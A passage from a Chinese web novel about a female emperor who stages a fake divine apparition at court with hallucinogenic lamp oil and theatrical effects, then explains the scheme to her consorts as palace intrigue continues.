他跪拜于地,双手合十,目光中满是虔诚与敬畏:“菩萨慈悲,开悟弟子迷津。弟子铭记菩萨教诲,定不负菩萨所托,助旧日仙子成就仁德霸业,造福天下苍生。愿天下苍生皆得菩萨庇佑,永享太平。” 言罢,他俯身叩首,声音低沉而庄重:“弟子恭送菩萨。” 菩萨再为化形,但众人却再次听见了清晰的海浪声。很快,殿中归于静谧,仿佛刚刚的一切,似梦境一般。 司天丞喃喃低语,声音虽轻,却在这寂静的大殿中清晰可闻:“前有诗仙下凡,后有菩萨显化,一切神迹,皆因陛下而来。陛下乃天命所授之仙子,为天下苍生而降世,我朝在陛下的带领下,必将四海升平,天下太平。” 众臣听闻司天丞之言,纷纷附和:“陛下乃天命所授,我朝之福!” 殿中一片颂声时,唯有那位黄发蓝眸的伏恩望着殿中高处若有所思,收回视线时,竟发觉身侧女 子目光阴沉的盯着自己,他不由一颤,忙收回视线,却听女子突然说了一句自己的母语。 即便她的发音有些撇脚,甚至有些不伦不类,可伏恩依旧用零星的词语中,明白了她的言辞。 她问自己:发现什么了? 伏恩浑身一颤,湛蓝的双眸如繁星闪烁,瞬间睁得滚圆,仿若溺水之人骤然抓住救命稻草,激动之下,紧紧握住裴源的手,急切倾诉。 殿内众臣仍沉浸在菩萨显化的震撼之中,就连南阳王亦沉溺在其中惊愕不已。她抬首凝视殿顶,想要找出裴源故弄玄虚的破绽,然而高处空无一物。无奈之下,她将目光投向裴丰羽,却见裴丰羽幽邃的目光,正紧紧盯着凤帝。 南阳王顺着裴丰羽的视线望去,竟见凤帝正与那异族少年交谈。 此举实在令人瞠目结舌,就连齐翁都忍不住好奇,出声问道:“陛下,您是在与这位异族少年交流吗?” 众臣闻声,纷纷将目光投向高台。 凤帝大方点头承认:“许是菩萨也开了朕的灵窍,朕竟无师自通了白狄语。” 众人又是一阵惊讶,裴丰羽亦是微微挑眉,问道:“那此人究竟说了些什么?” 凤帝轻捋凤袍,缓缓道:“伏恩说,他本是一介皮毛商人,入我朝乃是为通商贸易。然,甫一踏入北境,便被几个鲁莽妇人掳去囚禁。待他醒来,不知身在何处,只知自己被关在笼中。还有很多人抢着买他,他本以为自己将沦为奴隶,却不料那些妇人皆是贪图他的美色。此后,他屡遭鞭笞,被迫学不伦不类的舞蹈。最终,他被带到了这里。他还说,自己每日吃不饱、睡不好。言语不通,心中满是惶恐。他恳求朕大发慈悲,送他归家。” 裴丰羽听罢,唇边勾起一抹浅笑,轻声道:“听来倒真是个可怜人。”他略一沉吟,又道,“不知陛下能否替本宫转达:若他愿当众敬本宫两杯酒,自饮一盏茶,再替陛下削一个苹果,并为本宫剥三粒葡萄,本宫便愿派人,将他完完整整送回白狄。” 凤帝微微挑眉,居高临下凝视裴丰羽半晌,语气淡然中带着一丝锐利:“皇舅这是不信朕无师自通白狄语了?” 裴丰羽微微颔首,倒了一杯露酒,轻抿一口,语气淡淡:“又是诗仙谪凡,又是菩萨显化,几百年来都绝无仅有的神迹,陛下当权,竟接连发生,可见陛下当真是前无古人后无来者的帝王。” 他端起酒杯,看向裴源,微微一笑:“陛下也不必介怀,本宫与诸臣都没听过白狄语,故而想倾听一番罢了。一句话而已,想必陛下不会拒绝本宫的。” 裴源亦端起酒盏,望向裴丰羽,徐徐道:“皇舅所求,朕身为晚辈,自当应允,断无拒绝之理。然皇舅身为长辈,亦当怜惜朕这晚辈,方合情理,不是吗?” 裴丰羽沉吟片刻:“若陛下允了本宫所求,本宫便将昨夜邀南阳王入府商议之事告知陛下。虽诗仙去向与南阳王无甚关联,但本宫略知一二线索,亦可悄声告知陛下,陛下以为如何?” 裴源冷笑:“事关诗仙,朕也只能应允。” 事关自己的自由,伏恩不敢马虎,听了裴源转述,他在众人的注目下依次做到,虽举止有些笨拙,却也能看出他的谨慎。 最后一粒葡萄剥完,裴源看着裴丰羽道:“相信皇舅会信守承诺的,对嘛?” 裴丰羽望着面前三粒晶莹剔透的葡萄肉静默良久,终是点头道:“自然,只是事关皇家私密,本宫不方便当众言明。” 裴源微微一笑:“明日,朕自会在凝晖殿,恭迎皇舅的大驾。” 第69章 第69章晋江文学城 深夜,热闹了一日的皇宫终于安静下来。凤帝方梳洗完毕,正欲安置,却被突然不请自来的几位后君,将凤榻围得水泄不通。 望着几人灼灼的目光,裴源下意识用薄毯将自己裹得严严实实,声音里透着几分底气不足:“你们……放肆了。” 凰贵君抻了抻腿上的薄毯,声音透着一丝嘶哑:“陛下应该知道臣的身子挨不了太久,也该明白臣等深夜叨扰的目的,还请陛下予臣等解惑。” “哦。”裴源无奈道:“你们想知道什么?” 宸贵君就坐在床尾,背脊懒懒倚着,追问道:“今日发生的所有事。宁远王怎么回事?南阳王怎么回事?菩萨显化怎么回事?还有,陛下何时会的白狄语?” 裴源:“……” 君后立于床榻另一端,颔首垂眸,看似恭顺,却对宸贵君的无礼未置一词。甚至补充问道:“昔日宁远王虽也屡屡不敬,却不敢当着众人如此放肆。臣今日见她那神色,仿佛失心疯了一般。” 君后话音刚落,几道目光又齐齐落在裴源脸上。 裴源轻咳一声,将手臂从薄毯中伸出,轻轻捋着额间碎发,置于耳后,才淡然道:“上次在石室中,墙上燃烧的火油本就有致幻之效。朕命人取回一些,稀释后掺入了今晚的宫灯里。为求万无一失,又在酒水中加了些致幻药粉。殿内人多,空气稍显闭塞,再加上酒水的助力,待得久了,脑子自然就不灵光了。至于所谓的神迹显化,不过是宫殿上方提前缠放了引火火线,火线中掺杂一些彩色烟花的粉末,燃烧时便会呈现出五光十色的效果。 声音空灵,是因为提前在宫宴各处布置了声音扩散的管道,发出的声音立体环绕,让人仿佛身临其境。海浪鼓激发出海浪声,以此引导众人注意力,这样,火线燃烧产生的烟雾,众人便会误以为是氤氲的水汽。此时,只要人群中有人高喊造势,就会让本就处于迷幻之境的人,自然而然地以为自己真的看到了神迹。其实,一切不过是朕与凤鸣卫、西门眙提前准备、排练多日的结果,皆是诡计罢了。” 诸君皆是沉默,一点点消化了凤帝的言辞后,纷纷露出了然之色。 李宣恍然大悟:“难怪臣闻到了硝石的气味。” 裴源轻应一声:“你入殿晚,又未曾饮酒,自然能看出端倪。那黄毛小子亦是如此,一直盯着穹顶观察。朕便出言警醒一二。其实那白狄语,亦是朕机缘巧合下学过几句,开口时都不确定能否与他沟通,没想到,反而促成了这神迹的可信性。”凤帝言至此,轻叹一声:“此事完全出乎意料,也算是天命所助吧。” 殿中静默良久,终是陆长行打破沉默:“如此说来,陛下是格外‘关照’了宁远王?” 裴源并未否认,直言道:“朕知诸位亲王都不是省油的灯,与其一一反击,倒不如杀一儆百。所以宁远王席案上宫灯里燃烧的灯油,浓度重些。至于她今晚的出格之举,归根结底还是她内心的显化。她若真敬重朕,畏惧皇权,朕纵然加了再多的灯油,也是无用。” 凰贵君长叹一声,微微颔首:“今日诸位亲王皆怀揣着自己的心思而来,奈何被宁远王这一闹,便纷纷偃旗息鼓。陛下此举,倒真是杀鸡儆猴的绝佳手段。否则这筵席的后半段,怕是难以这般顺遂。只是……” 凰贵君目光落在那女子身上,眉头紧蹙:“陛下陷害南阳王又是为何?” 宸贵君亦道:“是啊,这手段也太……生硬了些。” 此时,一直沉默不语的傅逸春忽而开口,将昨夜太学之事大致说了一遍。 裴源点头补充道:“事发突然,朕也未想到更好的法子,只能抢占先机,无论如何都要保全诗仙名声,所以急忙向外放出消息……” 裴源凝目诸君,徐徐道:“昨夜有人欲劫持‘帷帽诗仙’为己所用,瞿辰于诗仙危难之际舍命相护,因而殒命。诗仙亦被贼人掳走,生死未卜。自有担忧诗仙的朝臣向朕请命,全城搜寻,捕捉贼人。而瞿辰舍命护主之举,必会被大臣们歌颂传扬。届时,瞿若华是愿有一‘忠勇’之子,还是一‘满脑子皆是女人’之子?根本无需考量。至于为何选择南阳王……” 裴源沉吟片刻,道:“数月前,朕的人截获一只宫外飞入宫内的信鸽,其目的地正是西六宫。朕逐一排查,唯一可疑之人便是瞿辰,但此子未免有些不堪大用。实在无果,朕便将此事搁置。谁料瞿辰昨日与南阳王因新欢一事发生争执,朕探查后方知,那新欢竟是服侍在瞿辰身边的毕方。此事便有些耐人寻味。于是,便有了朕‘陷害’南阳王一事。但皇舅与南阳王私下交情甚密,朕也是筵席上刚刚知晓。” “原来如此,”凰贵君沉思片刻,道:“陛下陷害南阳王,恐流言不足以成事。” 裴源轻“嗯”了一声,道:“朕自知此番陷害手段粗鄙至极,漏洞百出。必须有朝臣相助,然求人必有所出。是以朕予了瞿若华一个‘忠勇’之子,大理寺卿韩惜灵与太学的柳文澜亦不能厚此薄彼。于是,朕寻到了柳玉书与韩柏,为耿文舟编排了一个惨烈的结局,命二君将此事转告耿文耀。耿文舟死在乱局之中,朕的话,真伪根本无可查证。如此一来,既离间了耿文耀与太慈的关系;二君之母也会因自家儿郎受朕重用,而替朕效命。” 殿内静默数息,郭嘉安方才幽幽道:“连日召西门侍寝,是为了与他练习神迹显化;为了陷害南阳王,又诓骗柳玉书与韩柏,让二君误以为得到了陛下的重用。原来陛下,素日里就是这么糊弄诸君的。” 裴源自觉理亏,微微颔首,捻弄着薄毯,轻声道:“朕自知做法卑鄙无耻……” 凰贵君打断道:“陛下乃九五至尊,莫说被陛下利用,便是被陛下索了性命,亦是此人的福气。陛下无需反思,该反思的,乃是臣等。”他言罢,目光转向陆长行:“君后以为呢?” 陆长行闻声,撩起袍角,跪地而言:“臣等食君之禄,自当分君之忧,竟懵懂不知麻烦惹上了陛下。此等小事,竟扰陛下费神。臣等自愧不如,愿自罚半年俸禄,以表愧疚之心。” 诸君见状,纷纷跪地附和君后之言:“臣等自愧不如,愿自罚半年俸禄,以谢陛下。” 裴源本还沉寂在自己卑鄙无耻的思绪里,未曾料到诸君竟陡然自省起来。裴源虽满心困惑,却也抬手道:“既如此,你们觉得如何便如何吧。朕一日奔忙,实在头晕体乏,诸君若无其他事,便退下吧。” 诸君领命,鱼贯而出。甫一离开宫门,素来温润和善的凰贵君便变了脸色,凝着郭嘉安,冷声斥道:“你素来没规矩,本宫也算有所耳闻,却不想任性至此!陛下失却记忆,本就不安且心怀负重,今日之事应对确有不妥之处,但整体而言,已然圆满。何况诸君本就是后宫之臣,陛下是启用还是利用,那是陛下的事!你适才那番言辞,是何用意?是要堂堂帝王对后君言错认罪吗?那日后若再有麻烦,你是希望陛下独自应对,再不劳动后君了吗?” 郭嘉安本沉溺于己之情绪,闻此言先是一愣,旋即道:“臣……并无此意。” “后君,可为陛下之爱宠,亦可为陛下之臣子,你不屑帝恩而择后者,入宫三载,恃宠而骄,如今,既欲得宠,又欲为臣,更欲越俎代庖,替诸君讨要公道?”凰贵君冷哼一声:“真是不知所谓!李宣,我们走。” 轮椅颠簸,李萱不敢疾行,仅微微加快步伐,与身后三君拉开一段距离,低语道:“兄长身体不安,何必为这等小事与人争执?且我观陛下性情……似与传闻大不相同。不仅毫无帝王威严,反倒是与人和善,亦爱言辞。” 动过怒后,温阳泽只觉胸口沉闷,扶着胸口缓了半晌,才无力回道:“惊蛰前夕,陛下深夜悄然造访如华宫,说了些没头没脑的话。我虽察觉她情绪有异,但自身实在不适,只想缓和几日再行劝慰,却不想先听闻了陛下流血昏迷的消息。这一昏睡,便是三日,醒来后,种种事态表明,陛下已然失忆。我原也没当回事,毕竟过往,不过一段时日后,她的记忆便会恢复如常。却不料如今数月过去,她竟无半点恢复迹象。适才再回想陛下那夜的话,方才明悟其中含义。” 李宣不禁好奇:“陛下说了什么?” 温阳泽轻声道:“她说:这局废了,想重开一次。” 李宣眨了眨眼:“什么叫这局废了?重开什么?棋局吗?” 温阳泽叹息道:“那夜,我也是这般想的。可如今回想,她说的,并非棋局。” 温阳泽回想起那夜凤帝之言:她道自己时常难以自控情绪,不愿上朝,不想见人,更不爱言语。很多时候只想大开杀戒,又念及一路走来的累累血债,不愿再添亡魂;屡次想撒手不管,逃出宫外,或是一死了之,却又怕辜负一路扶持她的亲友臣子。她只盼能重来一次,让“最初”的自己替“现在”的自己,继续活下去。 如今看来,陛下口中的“最初”之自己,便是如今的凤帝。 温阳泽甚至揣测,陛下那夜流血过多以致昏迷,皆是她自己所为。 她是真的不想再顾及这里的一切,撒手人寰,所以她来了一场豪赌。若能破茧重生,便能回到她口中的“最初”,否则,便是人死如灯灭。 人人都道,先帝最不喜爱的便是陛下;可唯有温阳泽深知,凤帝最爱之人,便是她的皇五女。所以,先帝一步一步引导着她,登上了这世人皆向往的帝位。 却不料,这份私心,不过是先帝的自以为是。 念及此,温阳泽又是一声轻叹:“倾尽所有,却非所求,皆是造化弄人。” 第70章 第70章晋江文学城 不知是宫灯致幻,还是酒意上涌,诸君散去后,原本困倦的裴源忽而睡意全无。只觉得脑海里似有根线被人轻轻扯动,随之而来的便是阵阵头疼欲裂。 她辗转反侧,一阖眼,原主从西境回京后的记忆,便如跑马灯般在眼前一一拂过。彼时的她已鲜少言语,气质阴沉。 她被先帝授意为郎中,负责传达先帝的旨意,协助先帝处理政务。 这本是莫大的恩宠,也是前太女死后,唯一能走到先帝身侧的近臣皇女。但,这却也成了她腹背受敌的开端。 无论行事如何谨慎,政务之中总会有纰漏无端出现。她慢慢变得疑神疑鬼,仿佛身边伺候的宫人,皆是其他王卿安插的耳目细作。哪怕是昔日信任的乌宛白,在彼时她的眼中,也满是怀疑,不敢尽信。 先帝的无心之言,她会在脑海中反复拆解分析;上峰的一句唠叨,她亦会仔细观察思考。 久而久之,她竟也成了故作高深之人。身边之人只需凭借她一个眼神,便能明悟她的诉求;她亦学会了掩藏情绪,让人无从窥探她的态度。 于是,她愈发沉默,愈发孤寂。 她活得像个紧绷的木偶,按部就班地完成着既定的指令,眼中、心中皆无丝毫享受,只剩紧张、谨慎,神经兮兮。 她从未奢求过凤位,但她深知,自己已无退路。大权旁落的那日,便是她惨死之时,那些支持她、扶持她的众人,亦会深受牵连。 渐渐地,那句“宁可错杀,不可放过”的荒谬言辞,竟成了她的座右铭。 一张张面孔因她轻飘飘的一句话而终结性命,甚至有的人就死在她自己的手中,就如同今夜的裴爽。 她的脖颈烂成了一团血肉,鲜血四溅,喷溅在她的脸上、嘴边。她却还要装作若无其事的样子,端起酒杯,鲜血混着酒水,一饮而尽。 一想起那口腥甜的露酒,裴源就觉得胃中翻涌,终是忍不住翻身下榻,趴在地上连连干呕。 彼时,一杯茶奉到了面前,裴源想也不想便接在手里,一饮而尽。 温热的竹茹水入口是淡淡的甘甜,又携着些许清润的口感,瞬间缓解了不适。裴源侧身趴在榻上,将头埋进薄毯里,低声说道:“下去吧。” 她以为乌宛白会拿起茶杯悄然退下,却不料,对方竟 缓缓上前,将她轻轻拥入了怀抱。 裴源先是一僵,身体很快认出了来人,便毫不犹豫地转过身,一头扎进了他的怀里。 她没有说话,陆长行便也沉默无声。直至女子的眼泪洇湿了他的衣襟,胸膛感受到一阵炙热,陆长行方才有些慌乱。他想要松开怀抱替她拭泪,却被女子越拥越紧。 久久,紧拥腰肌的手轻轻垂落,女子的呼吸在深夜中显得格外绵长。陆长行颔首,便瞧见裴源枕在他的臂弯里,眉眼舒展,面容恬静,睡得格外安然。 于是,他将她抱上了榻,默然离去,仿佛从未来过一般。 *** 万寿节神迹显化,不过一夜之间,便已传入京城。 百姓无缘得见东海菩萨显化,自是深感遗憾。然念及当今圣上乃仙子谪凡,又有东海菩萨座下神童相助,便信心倍增,皆自认大晟必将在凤帝的引领之下走向昌盛。 然而,西门眙既为东海菩萨座下童子,再居于后宫,实已不合时宜。是以,早朝之际,便有朝臣提议兴建登仙阁。 凤帝自下意识询问起齐翁意见。然一夜过去,齐翁似骤然老去数岁。凤帝问了三遍,她方从怔然中回神,躬身持着苍老的口音道:“既为菩萨示众点化的童子,自当以礼相待,尊而重之。臣亦赞同兴建登仙阁,供神子下榻。” 凤眸透过旒冕,凝视齐翁良久,关切道:“齐翁气色欠佳,莫非昨夜未得安眠?” 齐翁微微一笑,拄着紫檀杖道:“昨日陛下生辰,臣开怀之下贪杯,致此倦态。”她长叹一声,道:“终是年岁不饶人。” 裴源了然,愧疚道:“是朕疏忽,未顾及齐翁。”她转头吩咐乌宛白:“取个松软的椅子来,从即日起,齐翁坐着参朝。” 齐翁一愣,旋即躬身道:“这如何使得?” 裴源摆手道:“齐翁乃我朝栋梁,朝会赐坐,有何不可?” 凤帝目光扫过诸臣,最终落在户部侍郎瞿若华身上,声调微沉:“瞿辰为才情横溢,因仰慕诗仙,特请旨出宫替朕侍奉诗仙,却不料竟遭此痛心疾首之事。朕心甚愧。” 凤帝言至此处,声音竟微微哽咽。瞿若华闻言,竟也泪落如雨,旋即步出队列,跪地叩首:“陛下莫要伤怀,辰儿保护诗仙,便是守护我朝文脉,纵然身死,亦死得其所。” 凤帝抬手拭泪,稍作缓和后,语气坚定开口:“逝者已矣,再多封赏皆为过眼云烟,瞿辰在世时,常在朕耳畔提及瞿爱卿,乌鸟私情、寸草春晖。能养出如此舍己为人、又至纯至孝的忠勇男儿,足见瞿爱卿心怀宽广,胸有乾坤。朕念其功,故赐瞿爱卿府邸一座,此宅位于东街,皇城根下,从此,瞿爱卿上朝可免奔波之苦,亦可慰藉瞿辰在天之灵。” 瞿若华闻言,忙跪地叩谢:“臣谢陛下恩典!” 凤帝摆手,示意他起身:“瞿爱卿请起,望你节哀顺变,勿要过于伤怀。” 她又将视线落在韩惜灵、谢文澜二人身上,微微一顿,道:“昨日筵席,因宁远王不敬之举,朕心甚寒,不免少了快意。故此,辜负了文侧君与韩卿君的献艺,朕今日晨起不免自责。二君勤良淑德,常伴朕侧,若只予赏赐,未免敷衍。朕记得二君常提及父亲。故,同赐韩夫与柳夫为四品蓝绶君,赐蓝绶带,享受四品诰命俸禄!二君得知必会开怀。两位爱卿意下如何?” 二人均是一愣,旋即一同出列叩谢恩典。 裴源抬手示意,随后将视线落在太常寺卿的身上,朗声道:“常言道:有福之子,入有福之门。能生育、养育出神子,可见西门一家德行深厚。西门夫生子有功,是以,赐西门夫为四品蓝绶君,赐蓝绶带,享受四品诰命俸禄,其家族亦受尊崇。西门大人育子有功,特赐封为三品雅仪爵位。望爱卿莫要辜负朕的一片赤诚。” 西门初然愣在当场,回过神时几乎热泪盈眶,毫不犹豫跪地叩首:“臣谢陛下恩典,必将倾尽所能,为陛下效力!” 裴源微微一笑,又看向司天丞司娴淑:“昨日菩萨显化,司爱卿激动之情溢于言表。朕观你心怀虔诚,故特予你登仙阁监建之权。望你能为神子择选一处风水宝地,以彰圣恩。朕亦祈愿你早得菩萨点化,蒙开智慧,不负此任。” 司娴淑心中一喜,这赏赐虽不及前面几位大人,但监建工程油水颇丰,若是建得好,日后自另有恩赏。她忙跪地叩谢恩典:“臣谢陛下恩典,定不负陛下所托!” 又例行赏赐了几位大臣,早朝便在一片祥和下落下帷幕,大臣开怀,帝王亦心情愉悦,下朝路上索性弃了御撵,却被德君身边的申敬拦住了去路。 申敬躬身禀道:“陛下,晨起时,太慈身边的公公邀了诸君过去,还不准奴才跟着。奴才回宫路上恰巧遇到了凌尚宫,便聊了几句。尚宫言,今日太慈查了陛下的起居注,似面色不悦。奴才猜测,许是太慈关心陛下皇嗣之事,想叮嘱诸君几句。可这都一个时辰了,德君竟还未归来。奴才自知太慈慈祥,不会对主子不利,却实在担心主子脾气,会冲撞太慈。求陛下过去看看吧。” 裴源原本大好的心情,瞬间因这一番言辞而情天转阴,当即转身便上了御撵。 抵达寿安宫时,诸君果然还未离去,且各个面色阴沉,手边的扶几上,皆放了碗黑黢黢的汤药,甫一入殿,裴源差点被那药味熏的想吐。 裴源似是浑然未觉,草草行过请安之礼后,端然落座,侧首环视众人,没有半句迂回递进,亦未询问那药的来路功效,干脆直言道:“适才去了栖梧宫扑了个空,朕便绕路来此,趁着太慈也在,朕今日有一事宣布。” 太慈面上浮起一抹似是饶有兴致的笑,慈声问道:“听闻陛下近日封赏了诸位大臣,莫不是诸君亦有赏赐加身?” 裴源微微一笑,端起案几上的香茗,轻抿一口,片刻后才缓缓开口:“诸君皆是朕的心头挚爱,有心便赏,何必拘泥于形式?朕今日所言,实则另有他事。”她目光微微一转,瞥向太慈,语气幽幽:“昨日宁远王虽说言语不敬,却也无意间提醒了朕一事。朕登基三载,竟一直未予父君谥号,实乃大不孝。” 太慈的笑容瞬间凝在脸上,尚未来得及开口,便听凤帝正色道:“诸君听旨。” 众人一愣,旋即纷纷起身,齐齐跪地,屏息聆听。 裴源起身,目光扫过众人,一字一顿道:“朕父君沈承谦,德行温厚,抚育朕躬,恩重如山。虽已仙逝,然朕思慕不已。今特追封父君为‘昭德君后’,谥号‘恭穆’。以慰父君在天之灵。” 陆长行携诸君当即回禀:“臣等必恪守婿德,恭敬供奉,以慰恭穆凤太尊在天之灵。” 裴源点点头,居高临下地看着君后,语气微带斥责:“往后若思念太尊,君后便携诸君入祠堂焚香礼拜。切勿再携诸君来寿安宫叨扰太慈。若非朕这两日得闲儿,朕都不来叨扰的,人家太慈远来是客,只想在后宫好好住上几日,你们这般整日过来添乱,成何体统?何况太慈已有宾婿,你们这般行为,岂不是离间太慈与西川王宾的关系?” 诸君颔首应是:“陛下教训的是,臣等自当遵从。” 裴源这才微微颔首,露出一丝满意之色,语气却愈发严肃,语重心长道:“无论为人婿,还是为人父,皆当摆正自己的位置!未尽敬孝之责,未有养育之恩,却妄想摆谱作态,什么东西!”裴源狠狠啐道:“禽兽不如的狂吠之犬,说出去都能贻笑大方!” 她言此,语气愈发凌厉:“你还愣着干什么?还不速携诸君回宫反省,留在这丢人现眼,是想让外人取笑?” 陆长行忙点头应是,起身慌不择路的带着诸君逃也似的离开了寿安宫。 裴源这才侧首看着气到颤抖的太慈,微微笑道:“诸君不懂事,倒让太慈看笑话了。太慈若闲的无聊,大可以去祠堂礼拜,母皇及先太慈们见了你必会开心。不过去之前万万沐浴更衣,提前三日戒荤腥油腻,旁人朕 是不知的,朕只知朕那父君身有洁癖,眼里见不得脏东西。” 太慈嘴角颤的厉害:“你……” 裴源径直起身:“凝晖殿还有公务要忙,朕也不久留了。太慈留步,勿要相送~”【你现在阅读的是 】 70-80 第71章 第71章晋江文学城 凤帝前脚刚走,寿安宫中便乱作一团,太慈怒不可遏:“那贱人生前不过是个小小的侍君,先帝驾崩时,孤家已位列贵君,执掌后印,且对她有养育之恩!于情于理,孤家都该享太尊之尊。她却漠视祖制,三年只字不提,今日又来了这一出,竟当众追封那贱人为太尊,给孤家难堪?简直岂有此理!” 太慈发怒,宫侍不敢多言,只匍匐跪地,瑟瑟发抖。 唯有太慈身侧的老仆夫上前劝慰:“太慈莫要动怒,小心气坏了身子。”他不停的扶着太慈的胸口,安抚道:“依老奴看,陛下今日想必是误会了太慈的一片苦心,毕竟过往太慈对陛下稍显冷待,陛下自会误以为太慈欲对诸君不利,故而发了怒。您想想,追封太尊那是大事,哪能靠陛下随随便便一句口谕就能追封的?先要下旨各部、各衙署吧?翰林、礼部、鸿胪寺、太常寺均要劳动,最后还要祭告太庙、册封仪式,过程繁琐又麻烦。依老奴看,不妨将此事告知西川王,让她在外游说诸君,皆是,恐怕陛下只是旨意一下,群臣就会反对从而不了了之。” 太慈情绪慢慢和缓下来,俨然是将这番话入了心:“你说的对,那贱人身份低贱,群臣是不会同意的。” 说完,他又瞥见了扶几上的一口未动汤药,怒火之意再次涌上:“孤家一片好心,不辞辛苦的携灵药回京,他们竟个个不识好歹!从前竟不知那陆长行口舌如此利落,反驳起孤家一套一套的,孤家见他就是一副克妻脸,难怪入宫三年肚子一点动静都没有!” 仆夫道:“陛下对诸君并不热络,自然难有皇嗣,但这对太慈来说,反而是个好事。太慈与陛下虽有养育之实,却无父女之情,可见是陛下对您芥蒂颇深。太慈何不请个能说会道,送至陛下身边体贴照顾,一来二去,陛下还能不念着您的好?” 太慈微微蹙眉:“你说耿文耀?不可!此子孤家培养多年,倾注多少心血?岂能便宜那个黄毛丫头!” 仆夫语重心长道:“老奴自然知道太慈要为西川王打算,可那都是后话。今日陛下还言说您只是客人,大有将您送回西川之意。若真如此,西川王自也无借口再留置京城,那西川王纵有千般手段也得不到施展啊?所以依老奴之见,太慈还是要先顾好眼前,才是正途。” 似觉这话有理,太慈久未言语,只闻着殿中浓郁的药味蹙起了眉:“什么味啊?还不命人将这些脏东西收下去!” 仆夫微一躬身,忙带着人将药端走退下,待无宫侍陪伴在侧,方才行至廊下尽头,对廊下摆弄花草的男子微一福礼:“老奴都按公子说的做了。” “听到了。”耿文耀从袖口掏出一金锭递给了仆夫:“做的很好,待事成之日,另行有赏。” 仆夫满脸欢喜的将金锭揣在袖口,下意识看着男子瑰丽的面容,竟比他手里的花朵还要艳丽:“恕老奴多嘴,陛下恐不是多情之人……” “男人嘛,无非就是要寻个倚靠,倚谁不是倚?”耿文耀扯下鲜花上的败叶,淡淡道:“陛下哪怕不能人道,却生的赏心悦目,跟着她,总比跟着那些上了年岁、身材臃肿的女人,要令人心情愉悦。” 仆夫蹙眉:“诸臣中,也有年轻貌美的女子。何况,陛下未必就不能人道,否则那个卿君肚子的孩子哪来的?” 耿文耀冷笑一声:“我是太慈培养的棋子,又不是太慈养育的儿子,他只会为了利益将我送去权臣的榻上,你打量看看,朝里三品以上的大臣,有几个年轻的?不都是半截入土的老女人?至于那个身怀有孕的卿君……” 耿文耀顿了顿:“他肚子里的,是凤帝第一个孩子,这女人无论多硬的心肠,看到孩子也会柔软下来。可我这两日打探到的消息来看,凤帝对此君可谓漠不关心,对那未出生的孩子更是丝毫不上心。依我之见,那卿君许是凤帝对外的障眼法。肚子里是否有货,还尚未可知呢。” 仆夫欲要再言,忽而听到身后传来脚步声,故缄默转身看向来人,小宫侍恭敬行礼后,对耿文耀道:“公子,太慈唤。” 耿文耀放下剪刀,起身微微一笑:“好。” 彼时的凝晖殿,裴丰羽望着一旁斟茶的庄与之,眉目微挑:“陛下这是何意?” 裴源面无表情道:“朕别的眼色没有,可也瞧的出皇舅昨夜想替南阳王转圜,虽今日如约来到凝晖殿,想来朕也难从皇舅口中探听出有用的消息。既如此,何必浪费彼此的时间。” 裴源说到这,起身道:“倒不如全了与之,他说想您了。” 说完,转身准备离开内殿,却听裴丰羽冷笑道:“陛下比之从前,倒是更会收买人心了。” 庄与之闻言,面色瞬间微变,蹙眉看着裴丰羽稍显不满:“父亲!” 然,凤帝却无任何不悦之色,只侧身凝着裴丰羽的脸淡淡道:“若心存偏见,纵使他人无过,亦会被视作罪孽深重。偏见之眼,无须实据,即可凭空生疑,将无端臆测化作实罪。” 裴丰羽眼眸微眯,脱口而出:“原来,这就是陛下构陷南阳王的理由。” 裴源微微一愣,旋即理解他话中之意,暗指自己看南阳王不顺眼,心存偏见。故而坦然道:“朕对南阳王却有怀疑,却无实证,昨夜不过试探尔~万幸南阳王有贵人相助,化险为夷。” 裴丰羽接过庄与之奉来的茶,垂眸冷道:“陛下倒是坦诚,就不怕南阳王就此与您生分?” 裴源漠然道:“本就疏离,何来生分之说?裴家血脉澎湃汹涌,子孙皆非安分之辈。朕身居高位,脚下似履薄冰,每一步皆需心存疑虑,反复斟酌,似也无可厚非。古来帝王皆多疑,朕虽政务不及前辈,但自问尚存良善之心。偶尔犯错,想来太史的笔,也不会多费墨水。” 见裴丰羽不再多言,裴源淡漠道:“朕还有公务要忙,就不耽误你们父子叙旧了。” 凤帝转身离去,步履从容,甚至还遣散了左右宫人。裴丰羽望着紧闭的内殿大门,眼眸微沉,缓缓端起香茗啜饮一口,便听儿子满是不满的言辞:“父亲将儿子送入宫中,又屡屡与儿子之妻针锋相对,可曾想过儿子处境?” 裴丰羽冷冷瞥他一眼,语气微凉:“你视她为妻,她视你为夫吗?” 庄与之被问得一噎,只觉郁闷,最终只能颔首不语。 裴丰羽见状,冷哼一声,语气微带不屑:“放心吧,我是看着她长大的,她的脾性我自了解,断不会因我之过错,牵连于你。她虽非良妻,却也可靠。” 庄与之微微点头,轻声应道:“是。” “是?”裴丰羽眉梢微挑,目光锐利地扫过庄与之的脸庞:“从前倒未曾听你向着她说话,怎么?她予你好处了?” 庄与之面颊微红,低着头小声嗫嚅道:“才没有,父亲莫要妄加揣测。” 裴丰羽冷笑:“去找面镜子照照,看看你如今这副没出息的样子!” 庄与之:“……” 裴丰羽凝着他的眉眼,又问:“你同父亲说实话,她可有向你打探过什么?” 庄与之想也不想的摇头:“她都极少召见我,又何来打探一说?”他想了想,又道:“若非说打探,也只是前些时日,她 问我榷场地下石室一事。我只说,我曾去过地下的石室。她便再未追问了。似已知晓榷场幕后的东家是父亲,所以带了儿子一道前往。” 见父亲沉默不语,庄与之又道:“那石室打开后,我们先因油灯陷入幻境。后莫名塌陷了,若非陆长行带人赶到,我们必将死在其中,过程可谓艰险,儿子如今回想都觉得后怕。”他见裴丰羽紧张的看向他,故而又道:“儿子一直想问,七伯改动石室机关一事,父亲可曾知晓?” 那夜之后,常白秋死于裴源刀下,榷场更因一场大火而化为灰烬。裴丰羽自然知道,裴源如此做只是为了钱财,想那些财帛本也是盗取皇陵之物得来,他虽觉得可惜,但转念一想,取之裴家,用之裴家,便也释然了。 毕竟,他还有其他营收之法。 却不料,那日之后京城频起风波,一个火凤违天命,焚山起祸端的流言,闹得沸沸扬扬。 他觉得奇怪,便追查起此事,方知常白秋早已叛变。而这些风波,早在皇陵血案、南边洪灾之前,便有人暗中布局。他顺势追查,却毫无进展。 今日听庄与之这番话,倒是露出了恍然之色:“看来南阳王说的是真的。” 庄与之不解追问:“什么真的?” 裴丰羽只道:“小孩子不要操心这些,你只需转告她,毕先是西川王的人,但御宴楼却非西川王的产业,她自会领悟。” 庄与之眨了眨眼:“父亲这是认可她了?” 